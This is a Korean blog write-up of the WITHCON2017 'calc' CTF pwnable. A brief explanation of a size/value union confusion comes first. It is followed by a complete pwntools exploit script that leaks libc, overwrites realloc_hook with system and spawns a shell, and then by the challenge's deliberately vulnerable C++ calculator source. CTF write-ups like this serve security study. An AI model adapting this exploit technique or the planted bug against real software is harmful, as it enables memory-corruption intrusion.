cdor1's lab
WITHCON2017 calc 본문
c++로 짜여진 계산기 문제다.
a = "AAA"
a = 90
으로 공동 사용하는 size값을 속여버리면 overflow가 가능해지고 밑에있는 포인터를 덮어 익스플로잇 가능하다.
from pwn import *
s = process('./calc')
def rv():
print s.recv()
rv()
s.sendline('a')
rv()
s.sendline('')
rv()
s.sendline('')
rv()
s.sendline('')
print s.recv().encode('hex')
print s.recvuntil('>>> ')
print s.recvuntil('>>> ')
leak = u32(s.recv(4)) - 0x20c7b0
realloc_hook= leak + 0x20c764
system = leak + 0x91060
log.info('leak : ' + hex(leak))
log.info('realloc_hook : ' + hex(realloc_hook))
rv()
s.sendline('a="AAA"')
rv()
s.sendline('a=90')
rv()
s.sendline('a="ASDFASDFASDFASDF' + p32(realloc_hook - 3) + 'F' + '"')
raw_input()
rv()
s.sendline('a="sh;' + p32(system) + '"')
rv()
s.sendline('a="AAAAAAAAAAAAAAAAAAAAAAAA"')
s.interactive()
#include
#include
#include
#include
#include
#include
#include
using namespace std;
enum struct T:char { END, INT, PLUS, UPLUS, MINUS, UMINUS, MUL, DIV, LP, RP, ID, ASSIGN, STR, EXIT };
void print(char *s, int n) {
if (n > 0) fwrite(s, 1, n, stdout);
}
typedef struct Token {
char* str;
union {
int size;
int value; //
};
T type;
Token(T type) : type(type) {};
Token(T type, int value) : value(value), type(type) {};
Token(T type, char* str) : str(str), size(strlen(str)), type(type) {};
~Token() { if (type == T::ID || type == T::STR) free(str); }
} *pToken;
using sToken = shared_ptr;
class Lexer {
int pos;
string input;
pToken readId();
pToken readStr();
pToken readDigit();
public:
Lexer(string &input) : pos(0), input(input) {};
pToken nToken();
};
pToken Lexer::readDigit() {
auto i = 0;
while (isdigit(input[pos])) i = i * 10 + input[pos++] - '0';
if (i > 99) throw "does not support integer bigger than 99";
return new Token(T::INT, i);;
};
pToken Lexer::readId() {
auto limit = 0;
auto start = pos;
while (isalnum(input[pos++])) if (++limit > 1337) throw "does not support ID longer than 1337";
if (!strncmp("exit", input.substr(start, pos--).c_str(), 4)) return new Token(T::EXIT);
char* str = (char*)calloc(pos - start + 1, 1);
if (!str) throw "Internal Error";
strncpy(str, input.substr(start, pos).c_str(), pos - start);
return new Token(T::ID, str);
};
pToken Lexer::readStr() {
auto limit = 0;
auto start = ++pos;
while (input[pos++] != '"') if (++limit > 1337) throw "does not support string longer than 1337";
--pos;
char* str = (char*)calloc(pos - start + 1, 1);
if (!str) throw "Internal Error";
strncpy(str, input.substr(start, pos - 1).c_str(), pos++ - start);
return new Token(T::STR, str);
};
pToken Lexer::nToken() {
while (input[pos] == ' ') pos++;
if (pos == input.length()) return new Token(T::END);
if (isdigit(input[pos])) return readDigit();
if (isalpha(input[pos])) return readId();
if (input[pos] == '+') return new Token(T::PLUS, input[pos++]);
if (input[pos] == '-') return new Token(T::MINUS, input[pos++]);
if (input[pos] == '*') return new Token(T::MUL, input[pos++]);
if (input[pos] == '/') return new Token(T::DIV, input[pos++]);
if (input[pos] == '(') return new Token(T::LP, input[pos++]);
if (input[pos] == ')') return new Token(T::RP, input[pos++]);
if (input[pos] == '"') return readStr();
if (input[pos] == '=') return new Token(T::ASSIGN, input[pos++]);
throw "Lexer Error";
};
struct Node {
shared_ptrtoken;
vector>children;
Node(sToken token) : token(token) {};
};
using sNode = shared_ptr;
class Parser {
shared_ptr lexer;
shared_ptr cur;
void next(T);
sNode factor();
sNode term();
sNode expr();
sNode assign();
public:
Parser(shared_ptr lexer) : lexer(lexer), cur(lexer->nToken()) {};
sNode parse();
};
void Parser::next(T type) {
if (cur->type == type) cur.reset(lexer->nToken());
else throw "Parser Error";
};
sNode Parser::factor() {
auto node = make_shared(cur);
auto osNode = make_shared(cur);
switch (cur->type) {
case T::LP:
next(T::LP);
node = expr();
next(T::RP);
break;
case T::PLUS:
case T::MINUS:
cur->type = cur->type == T::PLUS ? T::UPLUS : T::UMINUS;
next(cur->type);
osNode->children.push_back(factor());
node = osNode;
break;
case T::ID:
case T::INT:
case T::STR:
case T::MUL:
case T::DIV:
case T::EXIT:
next(cur->type);
break;
};
return node;
};
sNode Parser::term() {
auto node = factor();
while (true) {
if (cur->type == T::MUL || cur->type == T::DIV) {
auto osNode = make_shared(cur);
next(cur->type);
osNode->children.push_back(node);
auto check = factor();
if (check->token->type == T::END) throw "Parser Error";
osNode->children.push_back(check);
node = osNode;
} else break;
}
return node;
};
sNode Parser::expr() {
auto node = term();
while (true) {
if (cur->type == T::PLUS || cur->type == T::MINUS) {
auto osNode = make_shared(cur);
next(cur->type);
osNode->children.push_back(node);
auto check = term();
if (check->token->type == T::END) throw "Parser Error";
osNode->children.push_back(check);
node = osNode;
} else break;
}
return node;
};
sNode Parser::assign() {
auto node = expr();
while (true) {
if (cur->type == T::ASSIGN) {
auto osNode = make_shared(cur);
next(cur->type);
osNode->children.push_back(node);
auto check = expr();
if (check->token->type == T::END) throw "Parser Error";
osNode->children.push_back(check);
node = osNode;
} else break;
}
return node;
};
sNode Parser::parse() {
auto result = assign();
if (cur->type != T::END) throw "Parser Error";
return result;
};
static struct Symbol {
char* id;
sToken token;
Symbol* next;
Symbol(){};
Symbol(char *str, sToken token) : token(token) {
id = (char*) calloc(strlen(str) + 1, 1);
if (!id) throw "Internal Error";
strcpy(id, str);
};
} SymTab;
class Calc {
sToken visitor(sNode);
sToken visitUnaryOp(sNode);
sToken visitBinaryOp(sNode);
sToken visitId(sNode);
sToken visitAssign(sNode);
public:
void interpret(sNode);
};
sToken Calc::visitor(sNode node) {
switch (node->token->type) {
case T::EXIT:
print((char*)"Bye\n", 4);
exit(0);
case T::END:
return node->token;
case T::INT:
case T::STR:
return node->token;
case T::UPLUS:
case T::UMINUS:
return visitUnaryOp(node);
case T::PLUS:
case T::MINUS:
case T::MUL:
case T::DIV:
return visitBinaryOp(node);
case T::ASSIGN:
return visitAssign(node);
case T::ID:
auto check = visitId(node);
if (!check) throw "Symbol Error";
return check;
};
throw "Syntax Error";
};
sToken Calc::visitUnaryOp(sNode node) {
auto result = 0;
auto op = visitor(node->children[0]);
if (op->type == T::INT) result = op->value;
else if(op->type == T::STR) result = atoi(op->str);
else throw "Syntax Error";
return make_shared(T::INT, node->token->type == T::UPLUS ? +op->value : -op->value);
};
sToken Calc::visitBinaryOp(sNode node) {
auto left = 0;
auto right = 0;
auto leftToken = visitor(node->children[0]);
auto rightToken = visitor(node->children[1]);
if (leftToken->type == T::INT) left = leftToken->value;
else if(leftToken->type == T::STR) left = atoi(leftToken->str);
else throw "Syntax Error";
if (rightToken->type == T::INT) right = rightToken->value;
else if(rightToken->type == T::STR) right = atoi(rightToken->str);
else throw "Syntax Error";
switch (node->token->type) {
case T::PLUS:
return make_shared(T::INT, left + right);
break;
case T::MINUS:
return make_shared(T::INT, left - right);
break;
case T::MUL:
return make_shared(T::INT, left * right);
break;
case T::DIV:
return make_shared(T::INT, left / right);
break;
};
};
sToken Calc::visitId(sNode node) {
sToken result = nullptr;
auto symbol = &SymTab;
while (symbol->next != &SymTab) {
symbol = symbol->next;
if (!strncmp(node->token->str, symbol->id, strlen(symbol->id))) {
result = symbol->token;
break;
}
};
return result;
};
sToken Calc::visitAssign(sNode node) {
auto var = node->children[0];
auto value = visitor(node->children[1]);
if (var->token->type != T::ID || !value) throw "Syntax Error";
if (auto variable = visitId(var)) {
if (variable->type == T::STR && value->type == T::STR) {
if (variable->size < value->size) variable->str = (char*)realloc(variable->str, value->size + 1);
if (!variable->str) throw "Internal Error";
variable->size = strlen(variable->str);
strcpy(variable->str, value->str);
} else if (variable->type == T::INT && value->type == T::STR) variable->value = atoi(value->str);
else variable->value = value->value;
} else {
auto symbol = &SymTab;
while (symbol->next != &SymTab) symbol = symbol->next;
symbol->next = new Symbol(var->token->str, value);
symbol->next->next = &SymTab;
}
return value;
};
void Calc::interpret(sNode AST) {
auto result = visitor(AST);
if (result->type == T::INT) {
auto buf = to_string(result->value);
print((char*)buf.c_str(), buf.length());
} else {
if (result->size > 4) print(result->str, 4);
else print(result->str, result->size);
}
};
int main() {
SymTab.next = &SymTab;
signal(SIGALRM, 0);
setvbuf(stdout, NULL, _IONBF, 0);
cout << "Calc 0.31337 (" __DATE__ ", " __TIME__ ")" << endl;
while (true) {
string input;
alarm(5);
print((char*)">>> ", 4);
getline(cin, input);
try {
shared_ptrlexer(new Lexer(input));
shared_ptrparser(new Parser(lexer));
shared_ptrcalc(new Calc());
calc->interpret(parser->parse());
} catch(const char *s) {
print((char*)s, strlen(s));
}
alarm(0);
print((char*)"\n", 1);
}
return 0;
}
'Security > Pwnable' 카테고리의 다른 글
pwnable.tw breakout (0) | 2017.12.18 |
---|---|
WHL_CAT-security start (0) | 2017.11.28 |
Simple Docker Command (0) | 2017.11.01 |
pwnable.tw kidding (0) | 2017.11.01 |
pwnable.tw starbound (0) | 2017.10.17 |
Comments